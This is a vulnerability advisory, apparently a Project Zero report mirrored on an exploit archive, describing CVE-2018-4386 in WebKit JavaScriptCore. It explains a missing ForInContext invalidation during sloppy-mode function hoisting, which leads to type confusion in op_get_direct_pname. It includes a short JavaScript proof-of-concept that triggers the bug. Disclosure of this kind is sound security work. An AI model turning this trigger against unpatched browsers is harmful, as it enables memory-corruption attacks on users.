WebKit JSC ForInContext Invalidation

WebKit JSC has an issue where BytecodeGenerator::hoistSloppyModeFunctionIfNecessary does not invalidate the ForInContext object.


MD5 | 126233d8e8253771dcaf7662c0e08a03

WebKit: JSC: BytecodeGenerator::hoistSloppyModeFunctionIfNecessary doesn't invalidate the ForInContext object. 

CVE-2018-4386


This is simillar to <a href="/p/project-zero/issues/detail?id=1263" title="WebKit: JSC: Incorrect optimization in BytecodeGenerator::emitGetByVal" class="closed_ref" rel="nofollow"> issue 1263 </a>. When hoisting a function onto the outer scope, if it overwrites the iteration variable for a for-in loop it should invalidate the corresponding ForInContext object, but it doesn't. As a result, an arbitrary object can be passed as the property variable to the op_get_direct_pname handler which uses the property variable directly as a string object without any check.

PoC:
function trigger() {
let o = {a: 1};
for (var k in o) {
{
k = 0x1234;

function k() {

}
}

o[k];
}
}

trigger();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: lokihardt


Related Posts